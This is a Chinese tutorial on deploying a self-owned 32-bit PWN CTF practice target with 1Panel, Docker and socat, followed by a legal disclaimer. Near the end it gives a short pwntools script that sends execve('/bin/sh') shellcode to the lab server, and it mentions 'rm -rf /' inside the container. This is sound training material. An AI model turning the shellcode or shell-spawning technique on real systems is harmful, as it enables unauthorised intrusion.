本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在 PWN 的学习中,拥有一个自己的远程靶场能让你像真正的 CTF 选手一样去思考。本教程将手把手教你如何利用 1Panel 面板Docker,把一个现成的 32 位二进制漏洞程序部署到公网。

第一阶段:服务器基础环境准备

在开始任何部署之前,你的服务器需要具备“运行 32 位程序”的能力,并且你需要能够远程操控它。

1. 远程连接服务器 (SSH)

在你购买了轻量应用服务器(如腾讯云、阿里云或华为云)后,你会得到一个 公网 IP 和一个 root 密码

  • Windows 用户:推荐使用 Tabby, XshellPuTTY;也可以直接在 PowerShell 输入 ssh root@你的服务器IP
  • macOS/Linux 用户:直接打开终端输入 ssh root@你的服务器IP
  • 首次连接:会提示 Are you sure you want to continue connecting (yes/no/[fingerprint])?,输入 yes 并回车,然后输入你的 root 密码(输入时屏幕不会显示字符)。

2. 确认系统环境与更新

推荐使用 Ubuntu 20.04/22.04 LTS。进入终端后,首先确保系统包列表是最新的:

sudo apt update && sudo apt upgrade -y

3. 安装 32 位兼容库

目前的服务器系统绝大多数是 64 位的(x86_64),而的 PWN 题目有一些通常是 32 位(i386)编译的。如果没有兼容库,32 位程序在 64 位系统上会报“Exec format error”或直接找不到文件。

执行以下命令安装核心兼容库:

# 安装 32 位运行时的基础 C 库和 C++ 库
sudo apt install libc6-i386 lib32stdc++6 -y

4. 安装 1Panel 面板

1Panel 是一个现代化的开源 Linux 面板,它不仅能让你通过网页管理文件,最重要的是它对 Docker 编排 提供了完美的图形化支持,非常适合小白。

  • 官方地址:https://1panel.cn/
  • 在线安装:在你的服务器终端复制以下命令并执行(以 Ubuntu 为例):
curl -sSL [https://resource.fit2cloud.com/1panel/package/quick_start.sh](https://resource.fit2cloud.com/1panel/package/quick_start.sh) -o quick_start.sh && sudo bash quick_start.sh
  • 关键操作
    1. 安装过程中会让你确认安装目录(默认即可)。
    2. 安装完成后,屏幕会打印出 【面板访问地址】【用户名】【密码】
    3. 【极其重要】:务必将这些信息复制并保存到你的记事本中。1Panel 默认有一个随机的安全进入路径,丢了会非常麻烦。
    4. 云后台放行:1Panel 默认使用 8089 端口(或其他你设定的端口)。你需要在云服务器控制台的“防火墙/安全组”中先手动放行这个端口,否则网页无法打开。

第二阶段:文件准备与上传

1. 创建工作目录

登录 1Panel 面板,点击左侧菜单 “系统—文件”

  1. 导航到 /opt 目录。
  2. 点击“新建文件夹”,命名为 pwn
  3. 进入 /opt/pwn 内部。

image-20260118091704002

2. 上传核心文件

你需要准备好这两个文件并上传到该目录下(直接在此处创建也行):

image-20260118091756155

  • pwn: 你的漏洞程序(确保文件名就是 pwn)。
  • flag: 新建一个文件,命名为 flag,里面写你想给自己的奖励(如 flag{D0cker_Pwn_Succ3ss})。

第三阶段:编写“笼子”配置文件

现在我们需要写两个关键文件,告诉 Docker 怎么运行题目。点击“新建文件”:

image-20260118092911140

1. 编写 Dockerfile

这个文件定义了程序的运行环境(可以直接复制以下内容)。

# 使用 Ubuntu 作为基础镜像
FROM ubuntu:20.04

# 防止在安装过程中弹出交互选择
ENV DEBIAN_FRONTEND=noninteractive

# 安装 socat(端口转发工具) 和 32位库
RUN apt-get update && apt-get install -y libc6-i386 socat && rm -rf /var/lib/apt/lists/*

# 创建一个普通用户 ctf,绝对不要用 root 运行程序
RUN useradd -m ctf
WORKDIR /home/ctf

# 拷贝你的题目和 flag 到镜像中
COPY pwn /home/ctf/pwn
COPY flag /home/ctf/flag

# 赋予权限:root 拥有文件,ctf 用户只能读取和执行
RUN chmod +x /home/ctf/pwn && chown -R root:ctf /home/ctf

# 切换身份
USER ctf

# 将程序映射到容器内的 12345 端口
# reuseaddr: 允许端口快速重用
# fork: 每连进来一个用户,就新开一个进程,不影响主程序
CMD ["socat", "TCP-LISTEN:12345,reuseaddr,fork", "EXEC:./pwn"]

2. 编写 docker-compose.yml

这个文件定义了外网访问的端口。

version: '3.8'
services:
  pwn-challenge:
    build: .
    container_name: ctf
    ports:
      - "28203:12345"  # 【重点】服务器的 28203 端口映射到容器的 12345
    restart: always

第四阶段:1Panel 图形化一键部署

  1. 进入 1Panel 左侧菜单 “容器” -> “编排”

  2. 点击 “创建编排”

    image-20260118092209757

    • 名称pwn
    • 来源:选择“本地路径”。
    • 路径:选择刚才创建的 /opt/pwn

    image-20260118092349328

  3. 点击“确认”。

  4. 观察日志:在编排列表点击该项目,查看“日志”。看到 socat 启动且没有报错,说明部署成功。

最后可以在容器里,管理我们的容器

image-20260118092724306

第五阶段:双重防火墙设置(小白必看!)

这是 99% 的小白连不上的原因。你需要开两道门

1. 第一道门:云服务商后台(腾讯云/阿里云等)

  1. 登录云服务器控制台。
  2. 找到你的服务器实例 -> 防火墙/安全组
  3. 添加规则:协议 TCP,端口 28203,策略 允许

2. 第二道门:1Panel 面板防火墙

  1. 1Panel 左侧菜单 “主机” -> “防火墙”
  2. 点击 “创建规则”,放行 28203 端口。

第六阶段:本地验证与攻击

在你的 本地 Ubuntu 虚拟机(安装了 pwntools 的那个)中操作:

1. 验证端口是否通畅

nc -zv 你的服务器公网IP 28203

如果显示 succeeded,恭喜你,你的靶场已经上线了!

image-20260118092602310

2. 编写脚本 示例exp.py

from pwn import *
context(arch='i386', os='linux', log_level='debug')

# 连接远程靶场
io = remote("你的服务器公网IP", 28203)

#  题专用 Shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# 发送并进入交互
io.send(shellcode)
io.interactive()

小白避坑总结(经验谈)

  1. 文件名要一致:Dockerfile 里的 COPY pwn ... 命令,其中的第一个 pwn 必须和你上传的文件名完全一样(区分大小写)。
  2. Socat 的魔力:为什么用 socat?因为它能把一个只会打印在终端的本地程序,强行变成一个支持网络连接的服务。
  3. Docker 的安全性:如果你在交互模式下输入 rm -rf /,你删掉的是容器里的临时系统,只要在 1Panel 重启容器,所有文件都会瞬间恢复!

掌握上面内容恭喜你!现在你不仅能解题,还能自己出题部署靶场了!

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐